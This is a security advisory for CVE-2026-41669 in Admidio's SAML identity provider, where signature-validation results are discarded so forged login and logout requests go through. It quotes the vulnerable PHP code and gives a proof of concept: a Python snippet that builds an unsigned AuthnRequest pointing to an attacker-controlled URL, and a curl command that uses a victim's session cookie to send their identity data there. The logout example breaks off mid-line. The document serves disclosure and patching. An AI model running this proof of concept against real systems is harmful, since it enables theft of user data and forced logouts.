CVE-2026-41669: admidio/admidio · Admidio Ignores SAML Signature Validation Result, Processes Forged AuthnRequests and LogoutRequests

## Summary The Admidio SAML Identity Provider implementation discards the return value of its `validateSignature()` method at both call sites (`handleSSORequest()` line 418 and `handleSLORequest()` line 613). The method returns error strings on failure rather than throwing exceptions, but the developer believed it would throw (per comments on lines 416 and 611). This means the `smc_require_auth_signed` configuration option is completely ineffective — unsigned or invalidly-signed SAML AuthnRequests and LogoutRequests are processed identically to properly signed ones. ## Details The `validateSignature()` method at `src/SSO/Service/SAMLService.php:355` has three possible return paths: ```php // Line 355-392 public function validateSignature(SAMLClient $client, SamlMessage $message, bool $required = false): bool|string { global $gL10n; $certPem = $client->getValue('smc_x509_certificate'); if (!$certPem) { if ($required) { return $gL10n->get('SYS_SSO_SAML_SIGNATURE_KEY_MISSING'); // Returns STRING, not throw } else { return false; } } // ... $signatureReader = $message->getSignature(); if (is_null($signatureReader)) { if ($required) { return $gL10n->get('SYS_SSO_SAML_SIGNATURE_MISSING'); // Returns STRING, not throw } else { return false; } } try { $ok = $signatureReader->validate($key); if ($ok) { return true; } else { return $gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED'); // Returns STRING, not throw } } catch (Exception $ex) { return $gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED'); // Returns STRING, not throw } } ``` Both call sites discard the return value entirely: ```php // Line 416-419 in handleSSORequest() // Validate signatures. Will throw an exception <-- INCORRECT COMMENT if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) { $this->validateSignature($client, $request, $client->getValue('smc_require_auth_signed')); // Return value discarded — execution continues regardless of validation result } // Line 611-614 in handleSLORequest() // Validate signatures. Will throw an exception <-- INCORRECT COMMENT if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) { $this->validateSignature($client, $request, $client->getValue('smc_require_auth_signed')); // Return value discarded — execution continues regardless of validation result } ``` **SSO exploitation path** (for already-logged-in users): 1. `modules/sso/index.php:92` routes to `handleSSORequest()` 2. Line 403: `receiveMessage()` parses SAML binding directly from HTTP GET/POST — no authentication required 3. Line 408-409: Entity ID extracted from the forged request's Issuer element, client config loaded 4. Line 417-419: Signature validation called but return value discarded — flow continues 5. Line 421: `$gValidLogin` is true for logged-in users, so login form is skipped 6. Lines 438-580: SAML Response built with user's real attributes (login, name, email, roles) and sent to the `AssertionConsumerServiceURL` from the forged request **SLO exploitation path**: 1. `modules/sso/index.php:94` routes to `handleSLORequest()` 2. Line 613: Signature validation discarded 3. Lines 621-629: User's session is deleted from the database and `$gCurrentSession->logout()` is called ## PoC ```bash # Prerequisites: # - Admidio instance with SAML SSO enabled (sso_saml_enabled=1) # - At least one registered SAML SP client with smc_require_auth_signed=true # - A user with an active session (e.g., admin browsing the Admidio panel) # 1. Generate an unsigned AuthnRequest impersonating a registered SP: AUTHN_REQUEST=$(python3 -c " import base64, zlib req = '<samlp:AuthnRequest xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\" xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_fake123\" Version=\"2.0\" IssueInstant=\"2026-03-27T00:00:00Z\" AssertionConsumerServiceURL=\"https://attacker.example.com/acs\"><saml:Issuer>https://legitimate-sp.example.com/entity-id</saml:Issuer></samlp:AuthnRequest>' print(base64.b64encode(zlib.compress(req.encode())[2:-4]).decode()) ") # 2. Send the unsigned request via HTTP-Redirect binding (GET): # If a logged-in user's browser follows this link (e.g., via CSRF/social engineering), # Admidio generates a signed SAML assertion with the user's PII and sends it # to the attacker-controlled ACS URL. curl -v "https://admidio.example.org/adm_program/modules/sso/index.php/saml/sso?SAMLRequest=${AUTHN_REQUEST}" \ -b 'PHPSESSID=VICTIM_SESSION_COOKIE' # Expected: Despite smc_require_auth_signed=true, the unsigned request is processed. # The response contains a SAML assertion with the victim's attributes. # 3. For SLO — forge a LogoutRequest to terminate a victim's session: LOGOUT_REQUEST=$(python3 -c " import base64, zlib req = '

• github.com/Admidio/admidio/security/advisories/GHSA-25cw-98hg-g3cg (opens in a new tab)
• nvd.nist.gov/vuln/detail/CVE-2026-41669 (opens in a new tab)
• github.com/Admidio/admidio (opens in a new tab)
• github.com/Admidio/admidio/releases/tag/v5.0.9 (opens in a new tab)

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